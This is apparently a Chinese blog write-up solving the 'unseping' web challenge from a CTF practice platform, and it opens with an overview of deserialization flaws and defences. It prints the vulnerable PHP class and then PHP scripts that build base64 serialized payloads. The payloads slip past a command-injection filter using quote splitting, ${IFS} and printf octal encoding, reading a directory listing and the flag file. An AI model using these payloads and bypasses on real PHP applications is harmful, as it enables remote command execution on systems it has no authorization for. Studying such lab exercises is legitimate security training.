文章目录

  • 前言
  • 一、unseping
    • 1.题目
    • 2.答题

前言

反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中。反序列化是将已序列化数据还原回对象的过程。攻击者可以通过构造恶意序列化数据来利用反序列化漏洞,从而在受害者的系统上执行任意代码或者进行远程攻击。

攻击者可以通过修改序列化数据中的类名来指定一个恶意的类,该类将在反序列化过程中被实例化并执行其中的代码。攻击者还可以利用在对象反序列化期间执行的构造函数或readObject()方法中的任意代码执行漏洞,来进行恶意代码执行。

为了防止反序列化漏洞,开发人员应该遵循以下最佳实践:

1.不要接受不可信的序列化数据。

2.验证反序列化数据的完整性和真实性。

3.限制反序列化的对象类型和大小。

4.使用安全的序列化库和框架。

5.实现自定义的序列化和反序列化方法,以强制执行自己的安全策略。

6.更新所有依赖项和库,以修复已知的反序列化漏洞。

一、unseping

1.题目

2.答题

进入场景发现代码

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。

  1. 先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls。
  2. 再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。
  3. 接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。
  4. 综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

1、查看目录文件

<?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l''s";}}Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==



2、查看flag_1s_here文件夹

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>

由于flag被过滤,所以又要用引号绕过。同时空格也是被过滤了的,此处用IFS变量进行绕过。将$arg的值改为索要执行的命令l''s${IFS}f''lag_1s_here

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==


3、查看flag_831b69012c67b35f.php

flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf$()绕过。

<?phpclass ease{private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

或者直接对整个要执行的命令用printf及$()绕过,flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以。

<?phpclass ease{private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

得到flag:cyberpeace{3bac4100bdb0f0e4679cb79c723dc22f}

【愚公系列】2023年05月 攻防世界-Web(unseping)相关推荐

  1. 【愚公系列】2023年05月 攻防世界-Web(lottery)

    文章目录 前言 一.lottery 1.题目 2.答题 前言 dirsearch是一个用于Web服务器的爬虫工具,它可以快速地扫描网站的目录,并找出隐藏的文件和目录.dirsearch可以检测出许多常 ...

  2. 【愚公系列】2023年05月 攻防世界-Web(shrine)

    文章目录 前言 一.shrine 1.题目 2.答题 前言 Flask是一个轻量级的Web应用程序框架,用于Python编程语言.它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的. ...

  3. 【愚公系列】2023年05月 攻防世界-Web(FlatScience)

    文章目录 前言 一.FlatScience 1.题目 2.答题 前言 Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议.该协议规定了机器人在访 ...

  4. 【愚公系列】2023年05月 攻防世界-Web(file_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.file_include 1.题目 2.答题 总结 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion ...

  5. 【愚公系列】2023年05月 攻防世界-Web(Web_php_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.Web_php_include 1.题目 2.答题 2.1 伪协议解题 2.2 中国蚁剑 2.3 数据库写入 前言 1. ...

  6. 【愚公系列】2023年05月 攻防世界-Web(fileclude)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一种常 ...

  7. 【愚公系列】2023年05月 攻防世界-Web(fileinclude)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileinclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一 ...

  8. 【愚公系列】2023年05月 攻防世界-Web(Web_php_unserialize)

    文章目录 前言 一.Web_php_unserialize 1.题目 2.答题 前言 PHP的序列化漏洞是一种安全漏洞,攻击者可以利用这种漏洞来执行恶意代码或获取敏感信息.具体来说,攻击者可以通过在序 ...

  9. 【愚公系列】2023年05月 攻防世界-Web(Confusion1)

    文章目录 前言 一.Confusion1 1.题目 2.答题 前言 SSTI漏洞(Server Side Template Injection,服务端模板注入漏洞)是一种 web 应用程序中的安全漏洞 ...

最新文章

  1. Apress水果大餐——移动开发
  2. mysql5.7版本中的命令_mysql (5.7版本)---的配置
  3. ways to talk with girls
  4. 异源遥感图像匹配的一种思路——智箭火眼2020科目三赛题总结
  5. grid安装前检查报PRVE-0426:/dev/shm less than the require
  6. 离职10天,面了4家公司,我的感受...
  7. 还花几个小时整理线缆你就OUT了,VR自由漫步来了
  8. 前端获取后端16位主键id,后3位四舍五入
  9. 文华赢顺显示连接服务器失败,文华财经赢顺云本机已被系统限制登陆修复工具...
  10. php jquery alert 美化,jquery插件hiAlert实现网页对话框美化_jquery
  11. Amplify Shader Editor手册
  12. OpenSIPS实战(一):OpenSIPS使用简介
  13. opencv打开图片显示全灰色
  14. 《数值分析》-- 复化求积公式
  15. 对ashx请求用Gzip,Deflated压缩
  16. linux 如何停止mysql,linux下如何启动/停止/重启mysql:
  17. Alibaba Cloud Linux 搭建Frp内网穿透服务(兼容Centos)
  18. php 计算壬子,壬子日是哪一天,壬子日怎么算
  19. 读书有益——》生僻字、可能念错的字
  20. 054.CSS网页布局

热门文章

  1. hanbot正版多少一个月_hanbot使用教程
  2. 搭建开源小程序商城-CRMEB-后台介绍
  3. flake8(代码规范利器)
  4. shell编程实例合集
  5. Ajax-Zoom 快速上手
  6. 着色器_片断着色器详解
  7. 虚拟机通过桥接上网(dhcp)
  8. 安防视频监控系统视频上云解决方案EasyCVR音频基础知识一文全介绍
  9. 关于其他视频文件向.flv文件转换的问题
  10. 神犇营-41-数字反转